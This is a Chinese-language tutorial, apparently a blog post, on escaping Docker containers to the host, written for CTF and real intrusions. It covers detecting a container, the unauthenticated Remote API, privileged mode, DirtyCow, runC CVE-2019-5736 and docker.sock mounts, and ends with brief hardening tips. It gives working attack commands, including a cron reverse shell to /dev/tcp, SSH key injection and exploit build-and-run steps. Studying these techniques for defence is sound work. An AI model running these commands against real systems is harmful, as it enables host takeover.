本文主要讲了docker逃逸的原因,判断方法以及利用手法
有时候无论是实战中还是在CTF中,在我们打进机器之后,发现在docker里面,这时候我们当然想逃逸到真实宿主机,所以就要用到docker逃逸
引起docker逃逸漏洞的原因
那在开始实验之前,我们先想一下是什么使我们可以进行docker逃逸呢,原因主要有以下几个
- 内核漏洞: 如果宿主机内核存在漏洞,攻击者可能通过在容器内部执行恶意代码来利用这些漏洞,最终获取宿主机的控制权。
- 配置错误: 错误的Docker配置可能导致容器以特权模式运行,这使得攻击者更容易在容器内部执行恶意操作并逃逸到宿主机。
- 不安全的容器镜像: 使用不安全的或未经验证的容器镜像可能包含已知的漏洞,攻击者可以利用这些漏洞来逃逸。
- 不安全的容器之间通信: 如果容器之间的通信不受适当的隔离,攻击者可能通过网络攻击或其他手段在容器之间移动,并最终逃逸到宿主机。
- 过多的权限: 如果Docker容器被授予不必要的权限,攻击者可以利用这些权限执行恶意操作并逃逸。
这里可能不太理解,后面在进行实验的时候再详细的说
判断是否在docker环境
方法一:判断根目录下有无 .dockerenv
文件
1 | ls -al |
方法二:查询系统进程的 cgroup
信息是否存在 docker
字符串
1 | ls -alh /.dockerenv |
方法三:检查是否存在 container环境变量
通过env
\ PATH
来检查是否有 docker
相关的环境变量,来辅助判断
1 | env |
方法四:其他检测方法
检测 mount
、fdisk -l
查看硬盘 、判断PID 1
的进程名等也可用来辅助判断
1 | mount | grep "docker" |
docker逃逸的方法
危险的配置导致Docker 逃逸
Docker Remote API 未授权访问
docker remote api
可以执行docker命令,docker守护进程监听在0.0.0.0
,可直接调用API来操作docker。
影响版本:Docker version 19.03.12 之前版本
确定漏洞是否存在:
访问http://x.x.x.x:2375/version
查看是否有版本信息
1 | #列出容器信息,效果与docker ps一致。 |
利用场景:通过对宿主机端口扫描,发现有2375
端口开放,可以执行任意docker命令。我们可以据此,在宿主机上运行一个容器,然后将宿主机的根目录挂载至docker的/mnt
目录下,便可以在容器中任意读写宿主机的文件了。我们可以将命令写入crontab
配置文件,进行反弹shell。
我们先随便拉取一个镜像然后创建容器
1 | docker -H tcp://ip pull busybox |
执行之后会返回一个该容器宿主机的shell,进入/mnt
目录(cd /mnt/
)下即可逃逸到宿主机
还可以并将宿主机的/etc目录
挂载到容器中,便可以任意读写文件了。我们可以将命令写入crontab配置
文件,进行反弹shell。
首先我们随意启动一个容器,然后将宿主机的/etc
目录挂载到容器的/tmp/etc
目录中
1 | docker -H tcp://宿主ip:2375 run -it -v /test:/tmp/etc 容器id /bin/bash |
然后开启监听(这里的监听端口取决于脚本,下面的脚本中写的是8888端口,那我们就监听这个端口),
并且在容器中利用下面的脚本进行反弹
1 | import docker |
然后还可以在容器中写计划任务,反弹宿主机的shell,记得监听1234
端口
1 | echo '* * * * * /bin/bash -i >& /dev/tcp/宿主机ip/1234 0>&1' >> /test/var/spool/cron/crontabs/root |
Docker 高危启动参数 – privileged 特权模式启动容器
特权模式是很有效并且常用的一种逃逸方法
当操作者执行docker run --privileged
时,Docker将允许容器访问宿主机上的所有设备,同时修改AppArmor
或SELinux
的配置,使容器拥有与那些直接运行在宿主机上的进程几乎相同的访问权限
如何判断当前容器是否为特权模式,输入下面的命令,如果返回为000000xfffffffff
代表为特权模式起,x为任意数字
1 | cat /proc/self/status |grep Cap |
利用步骤:
使用特权模式启动一个容器,容器部分要根据实际进行修改
1 | sudo docker run -itd --privileged ubuntu:latest /bin/bash |
然后进入容器,用fdisk -l
查看磁盘文件,查看到宿主机的磁盘为/dev/vda1
,如果有很多个的话,那就一般是最大的那个
进行挂载,将宿主机的磁盘根目录挂载到docker容器的/home/test
目录下
1 | mount /dev/vda1 /home/test |
然后切换目录到 /home/test
就可成功逃逸到宿主机目录
1 | chroot /home/test |
由于内核漏洞引起的逃逸
DirtyCow(CVE-2016-5195)脏牛漏洞实现Docker 逃逸
Dirty Cow(CVE-2016-5195)
是Linux内核中的权限提升漏洞,通过它可实现 Docker
容器逃逸,获得root权限的shell。Docker
与 宿主机共享内核,如果宿主机有脏牛漏洞,那容器就可以利用这个漏洞进行 docker
逃逸。因此容器需要在存在 dirtyCow
漏洞的宿主机里。
利用脚本获取:https://github.com/gebl/dirtycow-docker-vdso.git
下载脚本
1 | git clone https://github.com/scumjr/dirtycow-vdso.git |
下载完成之后进行利用
1 | ./0xdeadbeef #反弹shell到本地主机 |
因为这个要求宿主机含有脏牛漏洞才可以,所以我们要清楚他的影响范围
影响的 Linux 内核版本主要是2.6.22(发布于2007年)到 4.8(发布于2016年)之间的版本。
可以用下面的命令查看内核版本
1 | uname -r |
常见的受影响的版本有
1 | - RHEL7 Linux x86_64 |
docker程序漏洞导致的docker逃逸
runC容器逃逸漏洞 CVE-2019-5736
CVE-2019-5736
是一个与Docker容器运行时(containerd和runc
)相关的漏洞。漏洞允许攻击者在容器内部执行任意命令,并且具有与容器相同的权限。该漏洞于2019年2月发布,影响runc的所有版本,而runc是Docker容器运行时的一部分。
漏洞的核心问题是containerd在处理容器启动过程中对runc的调用时存在安全漏洞,攻击者可以通过构造恶意的容器镜像来实现在容器内部执行任意命令的攻击。这允许攻击者在容器内部获取宿主系统上与容器相同的权限
影响的主要版本有:
1 | - Docker CE 18.09以前的版本 |
我们用下面的命令查看一下我们的docker版本和runc版本
1 | docker --version |
生成payload的利用链接为:https://github.com/Frichetten/CVE-2019-5736-PoC
1 | git clone https://github.com/Frichetten/CVE-2019-5736-PoC |
下载成功之后,编辑里面的go文件(main.go),把监听地址和端口设置成自己的
然后编译生成payload(生成main文件),这里需要go环境
1 | CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build main.go |
然后把生成的文件上传到 docker 中(使用docker cp
命令)
然后在我们本地开启监听,之后docker容器执行我们的payload即可
1 | ./main |
Docker cp 命令容器逃逸攻击漏洞 CVE-2019-14271
当Docker宿主机使用cp命令
时,会调用辅助进程docker-tar
,该进程没有被容器化,且会在运行时动态加载一些libnss_.so
库。黑客可以通过在容器中替换libnss_.so
等库,将代码注入到docker-tar
中。当Docker用户尝试从容器中拷贝文件时将会执行恶意代码,成功实现Docker逃逸,获得宿主机root权限。
影响版本:Docker 19.03.0
危险挂载导致Docker逃逸
Docker逃逸中的”危险挂载”通常指的是容器内的文件系统挂载到主机上,而且这个挂载操作没有受到足够的限制,导致了一些安全漏洞。这可能允许攻击者通过容器内部的文件系统进行一系列的恶意活动,包括读取或修改主机上的敏感文件。
挂载目录(-v /:/soft)
将宿主机root目录挂载到容器
1 | docker run -itd -v /root:/root ubuntu:18.04 /bin/bash |
写入ssh密钥进行登录
1 | mkdir /root/.sshcat id_rsa.pub >> /root/.ssh/authorized_keys |
挂载Docker Socket(docker.sock)
使用者将宿主机/var/run/docker.sock
文件挂载到容器中
Docker采用C/S架构
,我们平常使用的Docker命令中,docker即为client,Server端的角色由docker daemon
扮演,二者之间通信方式有以下3种:unix:///var/run/docker.sock
、tcp://host:port
和 fd://socketfd
这三种通信方式中:Docker Socket
是Docker守护进程监听的Unix域套接字,用来与守护进程通信——查询信息或下发命令。
判断方法:
实战中通过find命令
,可查找类似docker.sock
等高危目录和文件
1 | find / -name docker.sock |
如果存在的话,相当于在docker里可以执行宿主机docker命令,这样的话,我们新启一个容器,挂载宿主机根目录,即可逃逸
逃逸步骤:
- 首先创建一个容器并挂载
/var/run/docker.sock
1
docker run -itd -v /var/run/docker.sock:/var/run/docker.sock ubuntu
- 在该容器内安装Docker命令行客户端
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15apt-update
apt-get install \
apt-transport-https \
ca-certificates \
curl \
gnupg-agent \
software-properties-common
curl -fsSL [https://mirrors.ustc.edu.cn/docker-ce/linux/ubuntu/gpg](https://mirrors.ustc.edu.cn/docker-ce/linux/ubuntu/gpg) | apt-key add -
apt-key fingerprint 0EBFCD88
add-apt-repository \
"deb [arch=amd64] [https://mirrors.ustc.edu.cn/docker-ce/linux/ubuntu/](https://mirrors.ustc.edu.cn/docker-ce/linux/ubuntu/) \
$(lsb_release -cs) \
stable"
apt-get update
apt-get install docker-ce docker-ce-cli containerd.io - 接着使用该客户端通过
Docker Socket
与Docker守护进程通信,发送命令创建并运行一个新的容器,将宿主机的根目录挂载到新创建的容器内部1
2
3docker run -it -v /:/host ubuntu:latest /bin/bash
#这里的 latest 要根据实际版本修改
如:docker run -it -v /:/host ubuntu:18.04 /bin/bash - 在新容器内执行chroot将根目录切换到挂载的宿主机根目录。
chroot /host
防止docker逃逸的方法
- 定期更新 Docker 和相关组件: 保持 Docker 引擎、Docker Compose 等工具的最新版本,以获取最新的安全修复和改进。
- 限制容器权限: 在运行容器时,使用最小化的权限和特权模式。避免在容器内使用 root 权限,通过非 root 用户运行应用程序。
- 尽量不要将宿主机目录挂载至容器目录